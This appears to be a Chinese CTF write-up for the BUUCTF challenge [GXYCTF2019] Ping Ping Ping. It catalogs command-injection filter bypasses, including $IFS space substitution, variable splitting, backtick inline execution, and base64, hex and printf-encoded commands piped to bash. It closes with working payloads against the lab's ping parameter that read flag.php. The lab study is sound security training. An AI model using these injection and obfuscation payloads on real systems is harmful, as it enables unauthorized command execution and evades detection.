命令执行绕过 [GXYCTF2019]Ping Ping Ping1

参考原文:CTFWeb-命令执行漏洞过滤的绕过姿势_绕过空格过滤_Tr0e的博客-CSDN博客文章目录前言CTF题目绕过姿势命令联合执行关键词的绕过内联执行绕过多种解法变量拼接内联执行Base64编码总结前言为了备战(划水)5 月份广东省的 “红帽杯” 网络安全竞赛,继续开始到 BUUCTF 平台练习 CTF 题目。在去年参加的第四届强网杯全国网络安全竞赛中,就遇到过命令执行漏洞绕过的题目 CTF解题-2020年强网杯参赛WriteUp(题目名称 “主动” ),当时采用了 base64 编码联合反引号、变量拼接两种方式绕过了 flag 关键字的过滤并读取了 flag 值:本文目的在于结合 BU_绕过空格过滤https://blog.csdn.net/weixin_39190897/article/details/116247765

这里讲三种绕过命令执行的姿势

1.反引号绕过或者内联执行绕过

使用内联执行可以将` `内的输出作为前面命令的输入

所以cat$IFS$1`ls`也相当于cat falg.php;cat index.php

2.变量赋值绕过

通过变量赋值,再进行拼接,即可进行绕过

如:$a=fl;$b=ag;cat $a$b.php

       payload1;a=ag.php;b=fl;cat$IFS$1$b$a

3.利用编码和符号绕过

Linux下,绕过空格有

${IFS}                        cat${IFS}flag.txt

$IFS$1                      cat$IFS$1flag.txt

$IFS                          cat$IFSflag.txt

<                               cat

<>                             cat<>flag.txt

{cat flag.php}

%20                          cat%20flag.txt

%09                          cat%09flag.txt

\  反斜杠                    ca\t fl\ag.txt

''   单引号                   cat fl''ag.txt

 `` 反引号                   cat$IFS$1`ls`

base64:

bash和sh是用来执行命令的,

echo YWJjZGU=|base64 -d //打印出来abcde

echo Y2F0IGZhbGcucGhw|base64 -d|bash          //cat flag.php

echo Y2F0IGZhbGcucGhw|base64 -d|sh              //cat flag.php

hex编码绕过:

echo 63617420666c61672e706870 | xxd -r -p|bash //cat flag.php

unicode编码

$(printf “\154\163”) //ls

$(printf “\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70”) //cat flag.php

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第1张图片

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第2张图片

题目来源:BUUCTF [GXYCTF2019]Ping Ping Ping

拿到题目

我们用  ?ip=127.0.0.1;ls

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第3张图片

我们再用命令 ?ip=127.0.0.1;cat flag.php

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第4张图片

发现空格space被过滤掉了,我们可以尝试绕过空格

发现用${IFS}$命令也不行,那我们尝试用其他方法

发现过滤了{}符号symbol,于是我们用$IFS$命令

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第5张图片

发现过滤了flag字符

那我们就尝试访问index.php

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第6张图片

 发现过滤了很多符号

如:

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash"

那我们采用变量赋值的方法绕过

payload:?ip=127.0.0.1;a=ag;cat$IFS$1fl$a.php

?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php

查看源码得到

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第7张图片

其他方法:

内联执行绕过(将后面命令的输出作为前面命令的输入)

payload:?ip=127.0.0.1|cat$IFS$1`ls`

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第8张图片

Base64编码绕过

payload:?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh

echo Y2F0IGZhbGcucGhw|base64 -d|sh

命令执行绕过 [GXYCTF2019]Ping Ping Ping1_第9张图片

        
 

类似题目解题方法总结

cat fl*  用*匹配任意 
cat fla* 用*匹配任意
ca\t fla\g.php        反斜线绕过
cat fl''ag.php        两个单引号绕过
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash      
//base64编码绕过(引号可以去掉)  |(管道符) 会把前一个命令的输出作为后一个命令的参数

echo "63617420666c61672e706870" | xxd -r -p | bash       
//hex编码绕过(引号可以去掉)

echo "63617420666c61672e706870" | xxd -r -p | sh     
//sh的效果和bash一样

cat fl[a]g.php       用[]匹配

a=fl;b=ag;cat $a$b          变量替换
cp fla{g.php,G}    把flag.php复制为flaG
ca${21}t a.txt     利用空变量  使用$*和$@,$x(x 代表 1-9),${x}(x>=10)(小于 10 也是可以的) 因为在没有传参的情况下,上面的特殊变量都是为空的 

你可能感兴趣的:(yapi)